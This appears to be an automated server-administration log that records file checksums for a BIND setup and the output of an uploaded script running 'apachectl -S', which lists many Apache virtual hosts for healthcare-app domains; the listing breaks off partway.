MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:37:37: Establishing a connection
2026-05-24 10:37:37: 

PUT: /tmp/pkp900970

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 10:37:37: 

chmod 755 /tmp/pkp900970; /tmp/pkp900970; rm /tmp/pkp900970

2026-05-24 10:37:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias shop.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
